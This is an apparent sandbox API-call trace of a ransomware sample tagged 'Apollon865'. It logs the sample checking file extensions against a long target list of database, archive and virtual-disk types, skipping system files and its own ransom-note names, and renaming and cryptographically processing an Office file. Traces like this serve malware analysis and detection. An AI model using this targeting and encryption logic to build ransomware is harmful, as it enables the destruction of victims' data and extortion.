	[0082.235] lstrlenW (lpString="sdb") returned 3
	[0082.236] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1
	[0082.236] lstrlenW (lpString="sdc") returned 3
	[0082.236] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1
	[0082.236] lstrlenW (lpString="sdf") returned 3
	[0082.236] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1
	[0082.236] lstrlenW (lpString="sis") returned 3
	[0082.236] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1
	[0082.236] lstrlenW (lpString="spq") returned 3
	[0082.236] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1
	[0082.236] lstrlenW (lpString="te") returned 2
	[0082.236] lstrcmpiW (lpString1="ll", lpString2="te") returned -1
	[0082.236] lstrlenW (lpString="teacher") returned 7
	[0082.236] lstrcmpiW (lpString1="trx_dll", lpString2="teacher") returned 1
	[0082.236] lstrlenW (lpString="tmd") returned 3
	[0082.236] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1
	[0082.236] lstrlenW (lpString="tps") returned 3
	[0082.236] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1
	[0082.236] lstrlenW (lpString="trc") returned 3
	[0082.236] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1
	[0082.236] lstrlenW (lpString="trc") returned 3
	[0082.236] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1
	[0082.236] lstrlenW (lpString="trm") returned 3
	[0082.236] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1
	[0082.236] lstrlenW (lpString="udb") returned 3
	[0082.236] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1
	[0082.236] lstrlenW (lpString="udl") returned 3
	[0082.236] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1
	[0082.236] lstrlenW (lpString="usr") returned 3
	[0082.236] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1
	[0082.236] lstrlenW (lpString="v12") returned 3
	[0082.236] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1
	[0082.236] lstrlenW (lpString="vis") returned 3
	[0082.236] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1
	[0082.236] lstrlenW (lpString="vpd") returned 3
	[0082.236] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1
	[0082.236] lstrlenW (lpString="vvv") returned 3
	[0082.236] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1
	[0082.236] lstrlenW (lpString="wdb") returned 3
	[0082.237] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1
	[0082.237] lstrlenW (lpString="wmdb") returned 4
	[0082.237] lstrcmpiW (lpString1="_dll", lpString2="wmdb") returned -1
	[0082.237] lstrlenW (lpString="wrk") returned 3
	[0082.237] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1
	[0082.237] lstrlenW (lpString="xdb") returned 3
	[0082.237] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1
	[0082.237] lstrlenW (lpString="xld") returned 3
	[0082.237] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1
	[0082.237] lstrlenW (lpString="xmlff") returned 5
	[0082.237] lstrcmpiW (lpString1="x_dll", lpString2="xmlff") returned -1
	[0082.237] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\WWINTL.REST.trx_dll.Apollon865") returned 82
	[0082.237] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\WWINTL.REST.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\wwintl.rest.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\WWINTL.REST.trx_dll.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\wwintl.rest.trx_dll.apollon865"), dwFlags=0x1) returned 1
	[0082.239] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\WWINTL.REST.trx_dll.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\wwintl.rest.trx_dll.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0082.239] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=1117024) returned 1
	[0082.239] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0082.240] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0082.240] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0082.240] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0082.241] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0082.241] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0082.241] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x110e60, lpName=0x0) returned 0x15c
	[0082.244] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x110e60) returned 0x2bb0000
	[0082.420] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0082.421] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0082.421] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0082.421] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0082.421] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0082.421] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0082.421] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0082.421] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0082.421] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0082.421] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0082.421] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0082.421] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0082.422] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0082.422] UnmapViewOfFile (lpBaseAddress=0x2bb0000) returned 1
	[0082.432] CloseHandle (hObject=0x15c) returned 1
	[0082.432] CloseHandle (hObject=0x9c) returned 1
	[0082.432] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0082.432] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0082.432] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0082.437] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x61df1900, ftCreationTime.dwHighDateTime=0x1cac820, ftLastAccessTime.dwLowDateTime=0xef0f07b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x61df1900, ftLastWriteTime.dwHighDateTime=0x1cac820, nFileSizeHigh=0x0, nFileSizeLow=0x23960, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="XLINTL32.DLL.trx_dll", cAlternateFileName="XLINTL~1.TRX")) returned 1
	[0082.437] lstrcmpiW (lpString1="XLINTL32.DLL.trx_dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0082.437] lstrcmpiW (lpString1="XLINTL32.DLL.trx_dll", lpString2="Apollon865.txt.exe") returned 1
	[0082.437] lstrcmpiW (lpString1="XLINTL32.DLL.trx_dll", lpString2=".") returned 1
	[0082.437] lstrcmpiW (lpString1="XLINTL32.DLL.trx_dll", lpString2="..") returned 1
	[0082.437] lstrcmpiW (lpString1="XLINTL32.DLL.trx_dll", lpString2="windows") returned 1
	[0082.437] lstrcmpiW (lpString1="XLINTL32.DLL.trx_dll", lpString2="bootmgr") returned 1
	[0082.437] lstrcmpiW (lpString1="XLINTL32.DLL.trx_dll", lpString2="temp") returned 1
	[0082.437] lstrcmpiW (lpString1="XLINTL32.DLL.trx_dll", lpString2="pagefile.sys") returned 1
	[0082.437] lstrcmpiW (lpString1="XLINTL32.DLL.trx_dll", lpString2="boot") returned 1
	[0082.437] lstrcmpiW (lpString1="XLINTL32.DLL.trx_dll", lpString2="ids.txt") returned 1
	[0082.437] lstrcmpiW (lpString1="XLINTL32.DLL.trx_dll", lpString2="ntuser.dat") returned 1
	[0082.437] lstrcmpiW (lpString1="XLINTL32.DLL.trx_dll", lpString2="perflogs") returned 1
	[0082.437] lstrcmpiW (lpString1="XLINTL32.DLL.trx_dll", lpString2="MSBuild") returned 1
	[0082.437] lstrlenW (lpString="XLINTL32.DLL.trx_dll") returned 20
	[0082.437] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\WWINTL.REST.trx_dll") returned 71
	[0082.437] lstrcpyW (in: lpString1=0x119e670, lpString2="XLINTL32.DLL.trx_dll" | out: lpString1="XLINTL32.DLL.trx_dll") returned="XLINTL32.DLL.trx_dll"
	[0082.437] lstrlenW (lpString="XLINTL32.DLL.trx_dll") returned 20
	[0082.437] lstrlenW (lpString="Apollon865") returned 10
	[0082.438] lstrcmpiW (lpString1="LL.trx_dll", lpString2="Apollon865") returned 1
	[0082.438] lstrlenW (lpString=".dll") returned 4
	[0082.438] lstrcmpiW (lpString1="XLINTL32.DLL.trx_dll", lpString2=".dll") returned 1
	[0082.438] lstrlenW (lpString=".lnk") returned 4
	[0082.438] lstrcmpiW (lpString1="XLINTL32.DLL.trx_dll", lpString2=".lnk") returned 1
	[0082.438] lstrlenW (lpString=".ini") returned 4
	[0082.438] lstrcmpiW (lpString1="XLINTL32.DLL.trx_dll", lpString2=".ini") returned 1
	[0082.438] lstrlenW (lpString=".sys") returned 4
	[0082.438] lstrcmpiW (lpString1="XLINTL32.DLL.trx_dll", lpString2=".sys") returned 1
	[0082.438] lstrlenW (lpString="XLINTL32.DLL.trx_dll") returned 20
	[0082.438] lstrlenW (lpString="bak") returned 3
	[0082.438] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1
	[0082.438] lstrlenW (lpString="ba_") returned 3
	[0082.438] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1
	[0082.438] lstrlenW (lpString="dbb") returned 3
	[0082.438] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1
	[0082.438] lstrlenW (lpString="vmdk") returned 4
	[0082.438] lstrcmpiW (lpString1="_dll", lpString2="vmdk") returned -1
	[0082.438] lstrlenW (lpString="rar") returned 3
	[0082.438] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1
	[0082.438] lstrlenW (lpString="zip") returned 3
	[0082.438] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1
	[0082.438] lstrlenW (lpString="tgz") returned 3
	[0082.438] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1
	[0082.438] lstrlenW (lpString="vbox") returned 4
	[0082.438] lstrcmpiW (lpString1="_dll", lpString2="vbox") returned -1
	[0082.438] lstrlenW (lpString="vdi") returned 3
	[0082.438] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1
	[0082.438] lstrlenW (lpString="vhd") returned 3
	[0082.438] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1
	[0082.438] lstrlenW (lpString="vhdx") returned 4
	[0082.438] lstrcmpiW (lpString1="_dll", lpString2="vhdx") returned -1
	[0082.438] lstrlenW (lpString="avhd") returned 4
	[0082.438] lstrcmpiW (lpString1="_dll", lpString2="avhd") returned -1
	[0082.438] lstrlenW (lpString="db") returned 2
	[0082.438] lstrcmpiW (lpString1="ll", lpString2="db") returned 1
	[0082.438] lstrlenW (lpString="db2") returned 3
	[0082.438] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1
	[0082.439] lstrlenW (lpString="db3") returned 3
	[0082.439] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1
	[0082.439] lstrlenW (lpString="dbf") returned 3
	[0082.439] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1
	[0082.439] lstrlenW (lpString="mdf") returned 3
	[0082.439] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1
	[0082.439] lstrlenW (lpString="mdb") returned 3
	[0082.439] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1
	[0082.439] lstrlenW (lpString="sql") returned 3
	[0082.439] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1
	[0082.439] lstrlenW (lpString="sqlite") returned 6
	[0082.439] lstrcmpiW (lpString1="rx_dll", lpString2="sqlite") returned -1
	[0082.439] lstrlenW (lpString="sqlite3") returned 7
	[0082.439] lstrcmpiW (lpString1="trx_dll", lpString2="sqlite3") returned 1
	[0082.439] lstrlenW (lpString="sqlitedb") returned 8
	[0082.439] lstrcmpiW (lpString1=".trx_dll", lpString2="sqlitedb") returned -1
	[0082.439] lstrlenW (lpString="xml") returned 3
	[0082.439] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1
	[0082.439] lstrlenW (lpString="$er") returned 3
	[0082.439] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1
	[0082.439] lstrlenW (lpString="4dd") returned 3
	[0082.439] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1
	[0082.439] lstrlenW (lpString="4dl") returned 3
	[0082.439] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1
	[0082.439] lstrlenW (lpString="^^^") returned 3
	[0082.439] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1
	[0082.439] lstrlenW (lpString="abs") returned 3
	[0082.439] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1
	[0082.439] lstrlenW (lpString="abx") returned 3
	[0082.439] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1
	[0082.439] lstrlenW (lpString="accdb") returned 5
	[0082.439] lstrcmpiW (lpString1="x_dll", lpString2="accdb") returned 1
	[0082.439] lstrlenW (lpString="accdc") returned 5
	[0082.439] lstrcmpiW (lpString1="x_dll", lpString2="accdc") returned 1
	[0082.439] lstrlenW (lpString="accde") returned 5
	[0082.439] lstrcmpiW (lpString1="x_dll", lpString2="accde") returned 1
	[0082.439] lstrlenW (lpString="accdr") returned 5
	[0082.439] lstrcmpiW (lpString1="x_dll", lpString2="accdr") returned 1
	[0082.440] lstrlenW (lpString="accdt") returned 5
	[0082.440] lstrcmpiW (lpString1="x_dll", lpString2="accdt") returned 1
	[0082.440] lstrlenW (lpString="accdw") returned 5
	[0082.440] lstrcmpiW (lpString1="x_dll", lpString2="accdw") returned 1
	[0082.440] lstrlenW (lpString="accft") returned 5
	[0082.440] lstrcmpiW (lpString1="x_dll", lpString2="accft") returned 1
	[0082.440] lstrlenW (lpString="adb") returned 3
	[0082.440] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0082.440] lstrlenW (lpString="adb") returned 3
	[0082.440] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0082.440] lstrlenW (lpString="ade") returned 3
	[0082.440] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1
	[0082.440] lstrlenW (lpString="adf") returned 3
	[0082.440] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1
	[0082.440] lstrlenW (lpString="adn") returned 3
	[0082.440] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1
	[0082.440] lstrlenW (lpString="adp") returned 3
	[0082.440] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1
	[0082.440] lstrlenW (lpString="alf") returned 3
	[0082.440] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1
	[0082.440] lstrlenW (lpString="ask") returned 3
	[0082.440] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1
	[0082.440] lstrlenW (lpString="btr") returned 3
	[0082.440] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1
	[0082.440] lstrlenW (lpString="cat") returned 3
	[0082.440] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1
	[0082.440] lstrlenW (lpString="cdb") returned 3
	[0082.440] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1
	[0082.440] lstrlenW (lpString="ckp") returned 3
	[0082.440] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1
	[0082.440] lstrlenW (lpString="cma") returned 3
	[0082.440] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1
	[0082.440] lstrlenW (lpString="cpd") returned 3
	[0082.440] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1
	[0082.440] lstrlenW (lpString="dacpac") returned 6
	[0082.440] lstrcmpiW (lpString1="rx_dll", lpString2="dacpac") returned 1
	[0082.440] lstrlenW (lpString="dad") returned 3
	[0082.440] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1
	[0082.440] lstrlenW (lpString="dadiagrams") returned 10
	[0082.441] lstrcmpiW (lpString1="LL.trx_dll", lpString2="dadiagrams") returned 1
	[0082.441] lstrlenW (lpString="daschema") returned 8
	[0082.441] lstrcmpiW (lpString1=".trx_dll", lpString2="daschema") returned -1
	[0082.441] lstrlenW (lpString="db-journal") returned 10
	[0082.441] lstrcmpiW (lpString1="LL.trx_dll", lpString2="db-journal") returned 1
	[0082.441] lstrlenW (lpString="db-shm") returned 6
	[0082.441] lstrcmpiW (lpString1="rx_dll", lpString2="db-shm") returned 1
	[0082.441] lstrlenW (lpString="db-wal") returned 6
	[0082.441] lstrcmpiW (lpString1="rx_dll", lpString2="db-wal") returned 1
	[0082.441] lstrlenW (lpString="dbc") returned 3
	[0082.441] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1
	[0082.441] lstrlenW (lpString="dbs") returned 3
	[0082.441] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1
	[0082.441] lstrlenW (lpString="dbt") returned 3
	[0082.441] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1
	[0082.441] lstrlenW (lpString="dbv") returned 3
	[0082.441] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1
	[0082.441] lstrlenW (lpString="dbx") returned 3
	[0082.441] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1
	[0082.441] lstrlenW (lpString="dcb") returned 3
	[0082.441] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1
	[0082.441] lstrlenW (lpString="dct") returned 3
	[0082.441] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1
	[0082.441] lstrlenW (lpString="dcx") returned 3
	[0082.441] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1
	[0082.441] lstrlenW (lpString="ddl") returned 3
	[0082.441] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1
	[0082.441] lstrlenW (lpString="dlis") returned 4
	[0082.441] lstrcmpiW (lpString1="_dll", lpString2="dlis") returned -1
	[0082.441] lstrlenW (lpString="dp1") returned 3
	[0082.441] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1
	[0082.441] lstrlenW (lpString="dqy") returned 3
	[0082.441] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1
	[0082.441] lstrlenW (lpString="dsk") returned 3
	[0082.441] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1
	[0082.441] lstrlenW (lpString="dsn") returned 3
	[0082.441] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1
	[0082.442] lstrlenW (lpString="dtsx") returned 4
	[0082.442] lstrcmpiW (lpString1="_dll", lpString2="dtsx") returned -1
	[0082.442] lstrlenW (lpString="dxl") returned 3
	[0082.442] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1
	[0082.442] lstrlenW (lpString="eco") returned 3
	[0082.442] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1
	[0082.442] lstrlenW (lpString="ecx") returned 3
	[0082.442] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1
	[0082.442] lstrlenW (lpString="edb") returned 3
	[0082.442] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1
	[0082.442] lstrlenW (lpString="epim") returned 4
	[0082.442] lstrcmpiW (lpString1="_dll", lpString2="epim") returned -1
	[0082.442] lstrlenW (lpString="fcd") returned 3
	[0082.442] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1
	[0082.442] lstrlenW (lpString="fdb") returned 3
	[0082.442] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1
	[0082.442] lstrlenW (lpString="fic") returned 3
	[0082.442] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1
	[0082.442] lstrlenW (lpString="flexolibrary") returned 12
	[0082.442] lstrcmpiW (lpString1=".DLL.trx_dll", lpString2="flexolibrary") returned -1
	[0082.442] lstrlenW (lpString="fm5") returned 3
	[0082.442] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1
	[0082.442] lstrlenW (lpString="fmp") returned 3
	[0082.442] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1
	[0082.442] lstrlenW (lpString="fmp12") returned 5
	[0082.442] lstrcmpiW (lpString1="x_dll", lpString2="fmp12") returned 1
	[0082.442] lstrlenW (lpString="fmpsl") returned 5
	[0082.442] lstrcmpiW (lpString1="x_dll", lpString2="fmpsl") returned 1
	[0082.442] lstrlenW (lpString="fol") returned 3
	[0082.442] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1
	[0082.442] lstrlenW (lpString="fp3") returned 3
	[0082.442] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1
	[0082.442] lstrlenW (lpString="fp4") returned 3
	[0082.442] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1
	[0082.442] lstrlenW (lpString="fp5") returned 3
	[0082.442] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1
	[0082.442] lstrlenW (lpString="fp7") returned 3
	[0082.442] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1
	[0082.443] lstrlenW (lpString="fpt") returned 3
	[0082.443] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1
	[0082.443] lstrlenW (lpString="frm") returned 3
	[0082.443] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1
	[0082.443] lstrlenW (lpString="gdb") returned 3
	[0082.443] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1
	[0082.443] lstrlenW (lpString="gdb") returned 3
	[0082.443] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1
	[0082.443] lstrlenW (lpString="grdb") returned 4
	[0082.443] lstrcmpiW (lpString1="_dll", lpString2="grdb") returned -1
	[0082.443] lstrlenW (lpString="gwi") returned 3
	[0082.443] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1
	[0082.443] lstrlenW (lpString="hdb") returned 3
	[0082.443] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1
	[0082.443] lstrlenW (lpString="his") returned 3
	[0082.443] lstrcmpiW (lpString1="dll", lpString2="his") returned -1
	[0082.443] lstrlenW (lpString="ib") returned 2
	[0082.443] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1
	[0082.443] lstrlenW (lpString="idb") returned 3
	[0082.443] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1
	[0082.443] lstrlenW (lpString="ihx") returned 3
	[0082.443] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1
	[0082.443] lstrlenW (lpString="itdb") returned 4
	[0082.443] lstrcmpiW (lpString1="_dll", lpString2="itdb") returned -1
	[0082.443] lstrlenW (lpString="itw") returned 3
	[0082.443] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1
	[0082.443] lstrlenW (lpString="jet") returned 3
	[0082.443] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1
	[0082.443] lstrlenW (lpString="jtx") returned 3
	[0082.443] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1
	[0082.443] lstrlenW (lpString="kdb") returned 3
	[0082.443] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1
	[0082.443] lstrlenW (lpString="kexi") returned 4
	[0082.443] lstrcmpiW (lpString1="_dll", lpString2="kexi") returned -1
	[0082.443] lstrlenW (lpString="kexic") returned 5
	[0082.443] lstrcmpiW (lpString1="x_dll", lpString2="kexic") returned 1
	[0082.443] lstrlenW (lpString="kexis") returned 5
	[0082.443] lstrcmpiW (lpString1="x_dll", lpString2="kexis") returned 1
	[0082.443] lstrlenW (lpString="lgc") returned 3
	[0082.444] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1
	[0082.444] lstrlenW (lpString="lwx") returned 3
	[0082.444] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1
	[0082.444] lstrlenW (lpString="maf") returned 3
	[0082.444] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1
	[0082.444] lstrlenW (lpString="maq") returned 3
	[0082.444] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1
	[0082.444] lstrlenW (lpString="mar") returned 3
	[0082.444] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1
	[0082.444] lstrlenW (lpString="marshal") returned 7
	[0082.444] lstrcmpiW (lpString1="trx_dll", lpString2="marshal") returned 1
	[0082.444] lstrlenW (lpString="mas") returned 3
	[0082.444] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1
	[0082.444] lstrlenW (lpString="mav") returned 3
	[0082.444] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1
	[0082.444] lstrlenW (lpString="maw") returned 3
	[0082.444] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1
	[0082.444] lstrlenW (lpString="mdbhtml") returned 7
	[0082.444] lstrcmpiW (lpString1="trx_dll", lpString2="mdbhtml") returned 1
	[0082.444] lstrlenW (lpString="mdn") returned 3
	[0082.444] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1
	[0082.444] lstrlenW (lpString="mdt") returned 3
	[0082.444] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1
	[0082.444] lstrlenW (lpString="mfd") returned 3
	[0082.444] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1
	[0082.444] lstrlenW (lpString="mpd") returned 3
	[0082.444] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1
	[0082.444] lstrlenW (lpString="mrg") returned 3
	[0082.444] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1
	[0082.444] lstrlenW (lpString="mud") returned 3
	[0082.444] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1
	[0082.444] lstrlenW (lpString="mwb") returned 3
	[0082.444] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1
	[0082.444] lstrlenW (lpString="myd") returned 3
	[0082.444] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1
	[0082.444] lstrlenW (lpString="ndf") returned 3
	[0082.444] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1
	[0082.444] lstrlenW (lpString="nnt") returned 3
	[0082.444] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1
	[0082.445] lstrlenW (lpString="nrmlib") returned 6
	[0082.445] lstrcmpiW (lpString1="rx_dll", lpString2="nrmlib") returned 1
	[0082.445] lstrlenW (lpString="ns2") returned 3
	[0082.445] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1
	[0082.445] lstrlenW (lpString="ns3") returned 3
	[0082.445] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1
	[0082.445] lstrlenW (lpString="ns4") returned 3
	[0082.445] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1
	[0082.445] lstrlenW (lpString="nsf") returned 3
	[0082.445] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1
	[0082.445] lstrlenW (lpString="nv") returned 2
	[0082.445] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1
	[0082.445] lstrlenW (lpString="nv2") returned 3
	[0082.445] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1
	[0082.445] lstrlenW (lpString="nwdb") returned 4
	[0082.445] lstrcmpiW (lpString1="_dll", lpString2="nwdb") returned -1
	[0082.445] lstrlenW (lpString="nyf") returned 3
	[0082.445] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1
	[0082.445] lstrlenW (lpString="odb") returned 3
	[0082.445] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1
	[0082.445] lstrlenW (lpString="odb") returned 3
	[0082.445] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1
	[0082.445] lstrlenW (lpString="oqy") returned 3
	[0082.445] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1
	[0082.445] lstrlenW (lpString="ora") returned 3
	[0082.445] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1
